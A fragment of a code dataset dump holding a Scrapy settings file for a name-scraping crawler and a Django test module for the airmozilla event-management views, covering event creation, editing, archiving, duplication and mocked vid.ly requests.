Thread(target=manage_soundtrack).start()\n\n\ntk.mainloop()\n","sub_path":"AURORA.py","file_name":"AURORA.py","file_ext":"py","file_size_in_byte":70879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"397678269","text":"# Scrapy settings for namepedia project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n# http://doc.scrapy.org/topics/settings.html\n#\n\nBOT_NAME = 'namepedia'\n\nSPIDER_MODULES = ['namepedia.spiders']\nNEWSPIDER_MODULE = 'namepedia.spiders'\n\nDOWNLOAD_DELAY = 0.25\nCONCURRENT_REQUESTS = 16\n\nLOG_FILE = 'C:/data/genforen/namepedia/log.txt'\nFEED_URI = 'file:C:/data/genforen/namepedia/items.json'\nFEED_FORMAT = 'jsonlines'\nJOBDIR = 'C:/data/genforen/namepedia/jobdir'\n\nUSER_AGENT = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36'\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n#USER_AGENT = 'namepedia (+http://www.yourdomain.com)'\n","sub_path":"scrape/namepedia/namepedia/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"417702180","text":"import re\nimport cgi\nimport datetime\nimport json\nfrom cStringIO import StringIO\n\nfrom nose.tools import eq_, ok_\nimport mock\nimport pyquery\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import User, Group, Permission\nfrom django.contrib.flatpages.models import FlatPage\nfrom django.core import mail\nfrom django.utils.timezone import utc\nfrom django.core.files import File\n\nfrom funfactory.urlresolvers import reverse\n\nfrom airmozilla.main.models import (\n Event,\n EventOldSlug,\n Location,\n Template,\n Channel,\n Tag,\n SuggestedEvent,\n SuggestedEventComment,\n VidlySubmission,\n URLMatch,\n URLTransform,\n EventHitStats,\n UserProfile,\n CuratedGroup,\n Picture\n)\nfrom airmozilla.base.tests.test_mozillians import (\n Response,\n GROUPS1,\n GROUPS2\n)\nfrom airmozilla.uploads.models import Upload\nfrom airmozilla.comments.models import Discussion\nfrom airmozilla.manage.tests.test_vidly import SAMPLE_XML\nfrom .base import ManageTestCase\n\n\nclass _Response(object):\n def __init__(self, content, status_code=200):\n self.content = self.text = content\n self.status_code = status_code\n\n\nclass TestEvents(ManageTestCase):\n event_base_data = {\n 'status': Event.STATUS_SCHEDULED,\n 'description': '...',\n 'participants': 'Tim Mickel',\n 'privacy': 'public',\n 'location': '1',\n 'channels': '1',\n 'tags': 'xxx',\n 'template': '1',\n 'start_time': '2012-3-4 12:00',\n }\n placeholder = 'airmozilla/manage/tests/firefox.png'\n\n def test_event_request(self):\n \"\"\"Event request responses and successful creation in the db.\"\"\"\n response = self.client.get(reverse('manage:event_request'))\n eq_(response.status_code, 200)\n with open(self.placeholder) as fp:\n response_ok = self.client.post(\n reverse('manage:event_request'),\n dict(self.event_base_data, placeholder_img=fp,\n title='Airmozilla Launch Test')\n )\n response_fail = self.client.post(\n reverse('manage:event_request'),\n {\n 'title': 'Test fails, not enough data!',\n }\n )\n response_cancel = self.client.post(\n reverse('manage:event_request'),\n {\n 'cancel': 'yes'\n }\n )\n\n self.assertRedirects(response_ok, reverse('manage:events'))\n eq_(response_fail.status_code, 200)\n event = Event.objects.get(title='Airmozilla Launch Test')\n eq_(event.location, Location.objects.get(id=1))\n eq_(event.creator, self.user)\n eq_(response_cancel.status_code, 302)\n self.assertRedirects(response_cancel, reverse('manage:events'))\n\n def test_event_request_with_approvals(self):\n group1, = Group.objects.all()\n group2 = Group.objects.create(name='Group2')\n permission = Permission.objects.get(codename='change_approval')\n group1.permissions.add(permission)\n group2.permissions.add(permission)\n group_user = User.objects.create_user(\n 'username',\n 'em@ail.com',\n 'secret'\n )\n group_user.groups.add(group2)\n\n inactive_user = User.objects.create_user(\n 'longgone',\n 'long@gone.com',\n 'secret'\n )\n inactive_user.is_active = False\n inactive_user.save()\n inactive_user.groups.add(group2)\n\n long_description_with_html = (\n 'The researchers took a \"theoretical\" approach instead, using '\n 'something known as the no-signalling conditions. They '\n 'considered an entangled system with a set of independent '\n 'physical attributes, some observable, some hidden variables. '\n '\\n\\n'\n 'Next, they allowed the state of the hidden variables '\n 'to propagate faster than the speed of light, which let '\n 'them influence the measurements on the separated pieces of '\n 'the experiment. '\n '\\n\\n'\n '<ul>'\n '<li>One</li>'\n '<li>Two</li>'\n '</ul>'\n '\\n\\n'\n 'Baskin & Robbins'\n )\n\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_request'),\n dict(self.event_base_data,\n description=long_description_with_html,\n placeholder_img=fp,\n title='Airmozilla Launch Test',\n approvals=[group1.pk, group2.pk])\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(title='Airmozilla Launch Test')\n approvals = event.approval_set.all()\n eq_(approvals.count(), 2)\n # this should send an email to all people in those groups\n email_sent = mail.outbox[-1]\n ok_(group_user.email in email_sent.to)\n ok_(inactive_user.email not in email_sent.to)\n ok_(event.title in email_sent.subject)\n ok_(reverse('manage:approvals') in email_sent.body)\n ok_('Baskin & Robbins' in email_sent.body)\n ok_('<li>One</li>' not in email_sent.body)\n ok_('* One\\n' in email_sent.body)\n # edit it and drop the second group\n response_ok = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.id}),\n dict(self.event_base_data, title='Different title',\n approvals=[])\n )\n eq_(response_ok.status_code, 302)\n event = Event.objects.get(title='Different title')\n approvals = event.approval_set.all()\n # it's impossible to un-set approvals\n # see https://bugzilla.mozilla.org/show_bug.cgi?id=839024\n eq_(approvals.count(), 2)\n\n def test_participant_autocomplete(self):\n \"\"\"Autocomplete makes JSON pages and correct results for fixtures.\"\"\"\n response = self.client.get(\n reverse('manage:participant_autocomplete'),\n {\n 'q': 'Ti'\n }\n )\n eq_(response.status_code, 200)\n parsed = json.loads(response.content)\n ok_('participants' in parsed)\n participants = [p['text'] for p in parsed['participants']\n if 'text' in p]\n eq_(len(participants), 1)\n ok_('Tim Mickel' in participants)\n response_fail = self.client.get(\n reverse('manage:participant_autocomplete'),\n {\n 'q': 'ickel'\n }\n )\n eq_(response_fail.status_code, 200)\n parsed_fail = json.loads(response_fail.content)\n eq_(parsed_fail, {'participants': []})\n response_blank = self.client.get(\n reverse('manage:participant_autocomplete'),\n {\n 'q': ''\n }\n )\n eq_(response_blank.status_code, 200)\n parsed_blank = json.loads(response_blank.content)\n eq_(parsed_blank, {'participants': []})\n\n def test_events(self):\n \"\"\"The events page responds successfully.\"\"\"\n response = self.client.get(reverse('manage:events'))\n eq_(response.status_code, 200)\n\n def test_events_with_event_without_location(self):\n event = Event.objects.get(title='Test event')\n response = self.client.get(reverse('manage:events_data'))\n eq_(response.status_code, 200)\n results = json.loads(response.content)\n result = results['events'][0]\n # the \"local\" time this event starts is 12:30\n ok_('12:30PM' in result['start_time'])\n ok_('21 Jun 2012' in result['start_time'])\n ok_('Mountain View' in result['location'])\n\n event.location = None\n event.save()\n response = self.client.get(reverse('manage:events_data'))\n eq_(response.status_code, 200)\n results = json.loads(response.content)\n result = results['events'][0]\n ok_('7:30PM' in result['start_time'])\n ok_('21 Jun 2012' in result['start_time'])\n ok_('Mountain View' not in result['location'])\n\n def test_events_data_with_popcorn(self):\n event = Event.objects.get(title='Test event')\n event.upcoming = False\n event.popcorn_url = 'https://webmaker.org/123'\n event.save()\n response = self.client.get(reverse('manage:events_data'))\n eq_(response.status_code, 200)\n results = json.loads(response.content)\n result = results['events'][0]\n eq_(result['popcorn_url'], event.popcorn_url)\n\n def test_events_data_with_limit(self):\n event = Event.objects.get(title='Test event')\n Event.objects.create(\n title='Contributors Only Event',\n slug='event2',\n description=event.description,\n start_time=event.start_time,\n privacy=Event.PRIVACY_PUBLIC,\n placeholder_img=event.placeholder_img,\n location=event.location,\n )\n Event.objects.create(\n title='MoCo Only Event',\n slug='event3',\n description=event.description,\n start_time=event.start_time,\n privacy=Event.PRIVACY_PUBLIC,\n placeholder_img=event.placeholder_img,\n location=event.location,\n )\n url = reverse('manage:events_data')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n eq_(len(result['events']), 3)\n\n response = self.client.get(url, {'limit': 2})\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n eq_(len(result['events']), 2)\n\n response = self.client.get(url, {'limit': -2})\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n eq_(len(result['events']), 3)\n\n def test_events_data_with_live_and_upcoming(self):\n # some events will be annotated with is_live and is_upcoming\n event = Event.objects.get(title='Test event')\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n event2 = Event.objects.create(\n title='Event 2',\n slug='event2',\n description=event.description,\n start_time=now - datetime.timedelta(minutes=1),\n privacy=Event.PRIVACY_PUBLIC,\n placeholder_img=event.placeholder_img,\n location=event.location,\n status=Event.STATUS_SCHEDULED\n )\n assert not event2.archive_time\n assert event2 in Event.objects.approved()\n assert event2 in Event.objects.live()\n\n event3 = Event.objects.create(\n title='Event 3',\n slug='event3',\n description=event.description,\n start_time=now + datetime.timedelta(days=1),\n privacy=Event.PRIVACY_PUBLIC,\n placeholder_img=event.placeholder_img,\n location=event.location,\n status=Event.STATUS_SCHEDULED\n )\n assert not event3.archive_time\n assert event3 in Event.objects.approved()\n assert event3 in Event.objects.upcoming()\n assert event3 not in Event.objects.live()\n\n url = reverse('manage:events_data')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n titles = [x['title'] for x in result['events']]\n eq_(titles, ['Event 3', 'Event 2', 'Test event'])\n\n event = result['events'][0]\n ok_(not event.get('is_live'))\n ok_(event['is_upcoming'])\n\n event = result['events'][1]\n ok_(event['is_live'])\n ok_(not event.get('is_upcoming'))\n\n event = result['events'][2]\n ok_(not event.get('is_live'))\n ok_(not event.get('is_upcoming'))\n\n def test_events_data_with_thumbnail(self):\n event = Event.objects.get(title='Test event')\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_edit', args=(event.pk,)),\n dict(self.event_base_data, placeholder_img=fp,\n title=event.title)\n )\n eq_(response.status_code, 302)\n url = reverse('manage:events_data')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n assert result['events'][0]['title'] == event.title\n\n def test_events_data_pending_with_has_vidly_template(self):\n event = Event.objects.get(title='Test event')\n event.status = Event.STATUS_PENDING\n event.save()\n\n url = reverse('manage:events_data')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n row = result['events'][0]\n assert row['title'] == event.title\n ok_(row['is_pending'])\n ok_(not row.get('has_vidly_template'))\n\n template = event.template\n template.name = 'Vid.ly Fun'\n template.save()\n assert event.has_vidly_template()\n response = self.client.get(url)\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n row = result['events'][0]\n ok_(row['is_pending'])\n ok_(row.get('has_vidly_template'))\n\n def test_events_seen_by_contributors(self):\n # there should be one event of each level of privacy\n event = Event.objects.get(title='Test event')\n assert event.privacy == Event.PRIVACY_PUBLIC\n event2 = Event.objects.create(\n title='Contributors Only Event',\n slug='event2',\n description=event.description,\n start_time=event.start_time,\n privacy=Event.PRIVACY_CONTRIBUTORS,\n placeholder_img=event.placeholder_img,\n location=event.location,\n )\n event3 = Event.objects.create(\n title='MoCo Only Event',\n slug='event3',\n description=event.description,\n start_time=event.start_time,\n privacy=Event.PRIVACY_COMPANY,\n placeholder_img=event.placeholder_img,\n location=event.location,\n )\n response = self.client.get(reverse('manage:events_data'))\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n titles = [x['title'] for x in result['events']]\n ok_(event.title in titles)\n ok_(event2.title in titles)\n ok_(event3.title in titles)\n\n # now log in as a contributor\n contributor = User.objects.create_user(\n 'nigel', 'nigel@live.com', 'secret'\n )\n\n producers = Group.objects.create(name='Producer')\n change_event_permission = Permission.objects.get(\n codename='change_event'\n )\n change_event_others_permission = Permission.objects.get(\n codename='change_event_others'\n )\n producers.permissions.add(change_event_permission)\n producers.permissions.add(change_event_others_permission)\n contributor.groups.add(producers)\n contributor.is_staff = True\n contributor.save()\n\n UserProfile.objects.create(\n user=contributor,\n contributor=True\n )\n assert self.client.login(username='nigel', password='secret')\n response = self.client.get(reverse('manage:events_data'))\n eq_(response.status_code, 200)\n result = json.loads(response.content)\n titles = [x['title'] for x in result['events']]\n\n ok_(event.title in titles)\n ok_(event2.title in titles)\n ok_(event3.title not in titles)\n\n # you can edit the first two events\n edit_url1 = reverse('manage:event_edit', kwargs={'id': event.id})\n response = self.client.get(edit_url1)\n eq_(response.status_code, 200)\n edit_url2 = reverse('manage:event_edit', kwargs={'id': event2.id})\n response = self.client.get(edit_url2)\n eq_(response.status_code, 200)\n edit_url3 = reverse('manage:event_edit', kwargs={'id': event3.id})\n response = self.client.get(edit_url3)\n eq_(response.status_code, 302)\n\n def test_event_edit_slug(self):\n \"\"\"Test editing an event - modifying an event's slug\n results in a correct EventOldSlug.\"\"\"\n event = Event.objects.get(title='Test event')\n response = self.client.get(reverse('manage:event_edit',\n kwargs={'id': event.id}))\n\n eq_(response.status_code, 200)\n response_ok = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.id}),\n dict(self.event_base_data, title='Tested event')\n )\n self.assertRedirects(response_ok, reverse('manage:events'))\n ok_(EventOldSlug.objects.get(slug='test-event', event=event))\n event = Event.objects.get(title='Tested event')\n eq_(event.slug, 'tested-event')\n eq_(event.modified_user, self.user)\n response_fail = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.id}),\n {\n 'title': 'not nearly enough data',\n 'status': Event.STATUS_SCHEDULED\n }\n )\n eq_(response_fail.status_code, 200)\n\n def test_event_edit_pin(self):\n \"\"\"Test editing an event - modifying the pin\"\"\"\n event = Event.objects.get(title='Test event')\n response = self.client.get(reverse('manage:event_edit',\n kwargs={'id': event.id}))\n\n eq_(response.status_code, 200)\n ok_('Pin' in response.content)\n\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.id}),\n dict(\n self.event_base_data,\n title='Tested event',\n pin='1'\n )\n )\n eq_(response.status_code, 200)\n ok_('Pin too short' in response.content)\n\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.id}),\n dict(self.event_base_data, title='Tested event',\n pin='12345')\n )\n self.assertRedirects(response, reverse('manage:events'))\n ok_(Event.objects.get(pin='12345'))\n\n def test_event_edit_unset_location(self):\n \"\"\"Test editing an event - modifying the pin\"\"\"\n event = Event.objects.get(title='Test event')\n assert event.location.timezone == 'US/Pacific'\n assert event.start_time.hour == 19\n assert event.start_time.minute == 30\n assert event.start_time.tzinfo == utc\n\n url = reverse('manage:event_edit', kwargs={'id': event.id})\n response = self.client.get(url)\n eq_(response.status_code, 200)\n # the event's start_time is 19:30 in UTC,\n # which is 12:30 in US/Pacific\n ok_('12:30' in response.content)\n\n # now, set the location to None\n response = self.client.post(\n url,\n dict(self.event_base_data, title='Test event',\n location='',\n start_time=event.start_time.strftime('%Y-%m-%d %H:%M'))\n )\n eq_(response.status_code, 302)\n\n event = Event.objects.get(title='Test event')\n # the start time should not have changed\n assert event.start_time.hour == 19\n assert event.start_time.minute == 30\n assert event.start_time.tzinfo == utc\n\n response = self.client.get(url)\n eq_(response.status_code, 200)\n # now, because no timezone is known, we have to rely on UTC\n ok_('12:30' not in response.content)\n ok_('19:30' in response.content)\n\n def test_event_edit_templates(self):\n \"\"\"Event editing results in correct template environments.\"\"\"\n event = Event.objects.get(title='Test event')\n url = reverse('manage:event_edit', kwargs={'id': event.id})\n response_ok = self.client.post(\n url,\n dict(self.event_base_data, title='template edit',\n template_environment='tv1=\\'hi\\'\\ntv2===')\n )\n self.assertRedirects(response_ok, reverse('manage:events'))\n event = Event.objects.get(id=event.id)\n eq_(event.template_environment, {'tv1': \"'hi'\", 'tv2': '=='})\n response_edit_page = self.client.get(url)\n eq_(response_edit_page.status_code, 200,\n 'Edit page renders OK with a specified template environment.')\n response_fail = self.client.post(\n url,\n dict(self.event_base_data, title='template edit',\n template_environment='failenvironment')\n )\n eq_(response_fail.status_code, 200)\n\n def test_event_archive(self):\n \"\"\"Event archive page loads and shows correct archive_time behavior.\"\"\"\n event = Event.objects.get(title='Test event')\n event.archive_time = None\n # also, make it non-public\n event.privacy = Event.PRIVACY_COMPANY\n event.save()\n url = reverse('manage:event_archive', kwargs={'id': event.id})\n response_ok = self.client.get(url)\n eq_(response_ok.status_code, 200)\n # the `token_protection` should be forced on\n ok_('Required for non-public events' in response_ok.content)\n\n response_ok = self.client.post(url)\n self.assertRedirects(response_ok, reverse('manage:events'))\n event_modified = Event.objects.get(id=event.id)\n eq_(event_modified.status, Event.STATUS_SCHEDULED)\n now = (\n datetime.datetime.utcnow()\n .replace(tzinfo=utc, microsecond=0)\n )\n ok_(\n abs(event_modified.archive_time - now)\n <=\n datetime.timedelta(1)\n )\n\n def test_event_archive_with_default_archive_template(self):\n \"\"\"If you have a template that has `default_archive_template` True\n then it should mention that on the event archive page.\"\"\"\n event = Event.objects.get(title='Test event')\n event.archive_time = None\n # also, make it non-public\n event.privacy = Event.PRIVACY_COMPANY\n event.save()\n url = reverse('manage:event_archive', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n assert not Template.objects.filter(default_archive_template=True)\n ok_('default_archive_template' not in response.content)\n template = Template.objects.create(\n name='Foo',\n default_archive_template=True\n )\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('default_archive_template' in response.content)\n ok_('value=\"%s\"' % template.pk in response.content)\n\n def test_event_archive_with_upload(self):\n \"\"\"event archive an event that came from a suggested event that has\n a file upload.\"\"\"\n event = Event.objects.get(title='Test event')\n event.archive_time = None\n event.save()\n\n upload = Upload.objects.create(\n user=self.user,\n url='http://s3.com/some.flv',\n size=12345\n )\n\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n tomorrow = now + datetime.timedelta(days=1)\n location = Location.objects.get(id=1)\n SuggestedEvent.objects.create(\n user=self.user,\n title='TITLE',\n slug='SLUG',\n short_description='SHORT DESCRIPTION',\n description='DESCRIPTION',\n start_time=tomorrow,\n location=location,\n placeholder_img=self.placeholder,\n privacy=Event.PRIVACY_CONTRIBUTORS,\n first_submitted=now,\n accepted=event,\n upload=upload\n )\n\n url = reverse('manage:event_archive', kwargs={'id': event.id})\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('http://s3.com/some.flv' in response.content)\n\n def test_event_archive_with_vidly_template(self):\n \"\"\"Event archive page loads and shows correct archive_time behavior.\"\"\"\n vidly_template = Template.objects.create(name='Vid.ly HD')\n\n event = Event.objects.get(title='Test event')\n event.archive_time = None\n event.save()\n\n url = reverse('manage:event_archive', kwargs={'id': event.id})\n response_ok = self.client.post(url, {\n 'template': vidly_template.pk,\n 'template_environment': 'tag=abc123',\n })\n self.assertRedirects(response_ok, reverse('manage:events'))\n event_modified = Event.objects.get(id=event.id)\n eq_(event_modified.archive_time, None)\n eq_(event_modified.status, Event.STATUS_PENDING)\n\n def test_event_duplication(self):\n event = Event.objects.get(title='Test event')\n url = reverse('manage:event_duplicate', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('value=\"Test event\"' in response.content)\n ok_(\n 'value=\"%s\"' % event.location_time.strftime('%Y-%m-%d %H:%M')\n in response.content\n )\n\n def test_event_duplication_without_location(self):\n event = Event.objects.get(title='Test event')\n event.location = None\n event.save()\n url = reverse('manage:event_duplicate', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('value=\"Test event\"' in response.content)\n ok_(\n 'value=\"%s\"' % event.start_time.strftime('%Y-%m-%d %H:%M')\n in response.content\n )\n\n def test_event_duplication_with_discussion(self):\n event = Event.objects.get(title='Test event')\n discussion = Discussion.objects.create(\n event=event,\n enabled=True,\n closed=False,\n notify_all=True,\n moderate_all=True\n )\n bob = User.objects.create(username='bob', email='bob@mozilla.com')\n discussion.moderators.add(bob)\n\n url = reverse('manage:event_duplicate', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n data = {\n 'title': 'Different',\n 'description': event.description,\n 'short_description': event.short_description,\n 'location': event.location.pk,\n 'privacy': event.privacy,\n 'status': event.status,\n 'start_time': event.start_time.strftime('%Y-%m-%d %H:%M'),\n 'channels': [x.pk for x in event.channels.all()],\n 'enable_discussion': True,\n }\n response = self.client.post(url, data)\n eq_(response.status_code, 302)\n\n new_discussion = Discussion.objects.get(\n event__title='Different'\n )\n eq_(new_discussion.notify_all, True)\n eq_(new_discussion.moderate_all, True)\n eq_(\n list(new_discussion.moderators.all()),\n list(discussion.moderators.all())\n )\n\n def test_event_duplication_with_curated_groups(self):\n event = Event.objects.get(title='Test event')\n CuratedGroup.objects.create(\n event=event,\n name='badasses'\n )\n url = reverse('manage:event_duplicate', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('value=\"badasses\"' in response.content)\n\n data = {\n 'title': 'Different',\n 'description': event.description,\n 'short_description': event.short_description,\n 'location': event.location.pk,\n 'privacy': event.privacy,\n 'status': event.status,\n 'start_time': event.start_time.strftime('%Y-%m-%d %H:%M'),\n 'channels': [x.pk for x in event.channels.all()],\n 'enable_discussion': True,\n 'curated_groups': 'badasses'\n }\n response = self.client.post(url, data)\n eq_(response.status_code, 302)\n # this is expected to exist\n ok_(CuratedGroup.objects.get(event__title='Different'))\n\n def test_event_duplication_with_picture(self):\n event = Event.objects.get(title='Test event')\n with open(self.placeholder) as fp:\n picture = Picture.objects.create(file=File(fp))\n event.picture = picture\n event.placeholder_img = None\n event.save()\n\n url = reverse('manage:event_duplicate', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n data = {\n 'title': 'Different',\n 'description': event.description,\n 'short_description': event.short_description,\n 'location': event.location.pk,\n 'privacy': event.privacy,\n 'status': event.status,\n 'start_time': event.start_time.strftime('%Y-%m-%d %H:%M'),\n 'channels': [x.pk for x in event.channels.all()],\n 'enable_discussion': True,\n 'picture': picture.id,\n }\n response = self.client.post(url, data)\n eq_(response.status_code, 302)\n event = Event.objects.get(title='Different')\n eq_(event.picture, picture)\n\n def test_event_duplication_custom_channels(self):\n ch = Channel.objects.create(\n name='Custom Culture',\n slug='custom-culture'\n )\n event = Event.objects.get(title='Test event')\n event.channels.filter(slug=settings.DEFAULT_CHANNEL_SLUG).delete()\n event.channels.add(ch)\n event.save()\n\n url = reverse('manage:event_duplicate', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('value=\"Test event\"' in response.content)\n # expect a <option> tag selected with this name\n tags = re.findall(\n '<option (.*?)>([\\w\\s]+)</option>',\n response.content,\n flags=re.M\n )\n for attrs, value in tags:\n if value == ch.name:\n ok_('selected' in attrs)\n\n def test_event_preview_shortcut(self):\n # become anonymous (reverse what setUp() does)\n self.client.logout()\n\n # view it anonymously\n event = Event.objects.get(title='Test event')\n url = reverse('main:event', args=(event.slug,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n edit_url = reverse('manage:event_edit', args=(event.pk,))\n ok_(edit_url not in response.content)\n # now log in\n assert self.client.login(username='fake', password='fake')\n # check that you can view the edit page\n response = self.client.get(edit_url)\n eq_(response.status_code, 200)\n # and now the real test\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_(edit_url in response.content)\n\n @mock.patch('airmozilla.manage.vidly.urllib2')\n def test_vidly_url_to_shortcode(self, p_urllib2):\n event = Event.objects.get(title='Test event')\n assert event.privacy == Event.PRIVACY_PUBLIC\n url = reverse('manage:vidly_url_to_shortcode', args=(event.pk,))\n\n def mocked_urlopen(request):\n return StringIO(\"\"\"\n <?xml version=\"1.0\"?>\n <Response>\n <Message>All medias have been added.</Message>\n <MessageCode>2.1</MessageCode>\n <BatchID>47520</BatchID>\n <Success>\n <MediaShortLink>\n <SourceFile>http://www.com/file.flv</SourceFile>\n <ShortLink>8oxv6x</ShortLink>\n <MediaID>13969839</MediaID>\n <QRCode>http://vid.ly/8oxv6x/qrcodeimg</QRCode>\n <HtmlEmbed>code code</HtmlEmbed>\n <EmailEmbed>more code code</EmailEmbed>\n </MediaShortLink>\n </Success>\n </Response>\n \"\"\")\n p_urllib2.urlopen = mocked_urlopen\n\n response = self.client.get(url)\n eq_(response.status_code, 405)\n\n response = self.client.post(url, {\n 'url': 'not a url'\n })\n eq_(response.status_code, 400)\n\n match = URLMatch.objects.create(\n name='Always Be Safe',\n string='^http://'\n )\n URLTransform.objects.create(\n match=match,\n find='^http://',\n replace_with='https://'\n )\n response = self.client.post(url, {\n 'url': 'http://www.com/'\n })\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content['shortcode'], '8oxv6x')\n eq_(content['url'], 'https://www.com/')\n\n arguments = list(p_urllib2.Request.mock_calls[0])[1]\n # the first argument is the URL\n ok_('vid.ly' in arguments[0])\n # the second argument is querystring containing the XML used\n data = cgi.parse_qs(arguments[1])\n xml = data['xml'][0]\n ok_('<HD>YES</HD>' not in xml)\n ok_('<HD>NO</HD>' in xml)\n ok_('<SourceFile>https://www.com/</SourceFile>' in xml)\n\n # re-fetch it\n match = URLMatch.objects.get(pk=match.pk)\n eq_(match.use_count, 1)\n\n @mock.patch('airmozilla.manage.vidly.urllib2')\n def test_vidly_url_to_shortcode_with_forced_protection(self, p_urllib2):\n event = Event.objects.get(title='Test event')\n event.privacy = Event.PRIVACY_COMPANY\n event.save()\n url = reverse('manage:vidly_url_to_shortcode', args=(event.pk,))\n\n def mocked_urlopen(request):\n return StringIO(\"\"\"\n <?xml version=\"1.0\"?>\n <Response>\n <Message>All medias have been added.</Message>\n <MessageCode>2.1</MessageCode>\n <BatchID>47520</BatchID>\n <Success>\n <MediaShortLink>\n <SourceFile>http://www.com/file.flv</SourceFile>\n <ShortLink>8oxv6x</ShortLink>\n <MediaID>13969839</MediaID>\n <QRCode>http://vid.ly/8oxv6x/qrcodeimg</QRCode>\n <HtmlEmbed>code code</HtmlEmbed>\n <EmailEmbed>more code code</EmailEmbed>\n </MediaShortLink>\n </Success>\n </Response>\n \"\"\")\n p_urllib2.urlopen = mocked_urlopen\n\n response = self.client.post(url, {\n 'url': 'http://www.com/'\n })\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content['shortcode'], '8oxv6x')\n\n submission, = VidlySubmission.objects.all()\n ok_(submission.token_protection)\n ok_(not submission.hd)\n\n @mock.patch('airmozilla.manage.vidly.urllib2')\n def test_vidly_url_to_shortcode_with_hd(self, p_urllib2):\n event = Event.objects.get(title='Test event')\n url = reverse('manage:vidly_url_to_shortcode', args=(event.pk,))\n\n def mocked_urlopen(request):\n return StringIO(\"\"\"\n <?xml version=\"1.0\"?>\n <Response>\n <Message>All medias have been added.</Message>\n <MessageCode>2.1</MessageCode>\n <BatchID>47520</BatchID>\n <Success>\n <MediaShortLink>\n <SourceFile>http://www.com/file.flv</SourceFile>\n <ShortLink>8oxv6x</ShortLink>\n <MediaID>13969839</MediaID>\n <QRCode>http://vid.ly/8oxv6x/qrcodeimg</QRCode>\n <HtmlEmbed>code code</HtmlEmbed>\n <EmailEmbed>more code code</EmailEmbed>\n </MediaShortLink>\n </Success>\n </Response>\n \"\"\")\n p_urllib2.urlopen = mocked_urlopen\n\n response = self.client.post(url, {\n 'url': 'http://www.com/',\n 'hd': True,\n })\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content['shortcode'], '8oxv6x')\n\n arguments = list(p_urllib2.Request.mock_calls[0])[1]\n # the first argument is the URL\n ok_('vid.ly' in arguments[0])\n # the second argument is querystring containing the XML used\n data = cgi.parse_qs(arguments[1])\n xml = data['xml'][0]\n ok_('<HD>YES</HD>' in xml)\n ok_('<HD>NO</HD>' not in xml)\n\n def test_events_autocomplete(self):\n event = Event.objects.get(title='Test event')\n event2 = Event.objects.create(\n title='The Other Cool Title Event',\n description=event.description,\n start_time=event.start_time,\n )\n eq_(Event.objects.all().count(), 2)\n url = reverse('manage:event_autocomplete')\n\n response = self.client.get(url)\n eq_(response.status_code, 400)\n\n response = self.client.get(url, {'q': 'something', 'max': 'nan'})\n eq_(response.status_code, 400)\n\n response = self.client.get(url, {'q': 'eVEnt'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, ['Test event', 'The Other Cool Title Event'])\n\n response = self.client.get(url, {'q': 'EVen', 'max': 1})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, ['Test event'])\n\n response = self.client.get(url, {'q': 'E'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, [])\n\n response = self.client.get(url, {'q': 'COOL'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, ['The Other Cool Title Event'])\n\n response = self.client.get(url, {'q': 'COO'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, ['The Other Cool Title Event'])\n\n response = self.client.get(url, {'q': 'THE'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, [])\n\n # the autocomplete caches the same search\n event2.title = event2.title.replace('Cool', 'Brilliant')\n event2.save()\n\n response = self.client.get(url, {'q': 'COol'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, ['The Other Cool Title Event'])\n\n # but if the query is different it should work\n response = self.client.get(url, {'q': 'brill'})\n eq_(response.status_code, 200)\n content = json.loads(response.content)\n eq_(content, ['The Other Brilliant Title Event'])\n\n def test_overwrite_old_slug(self):\n # you create an event, change the slug and change it back\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_request'),\n 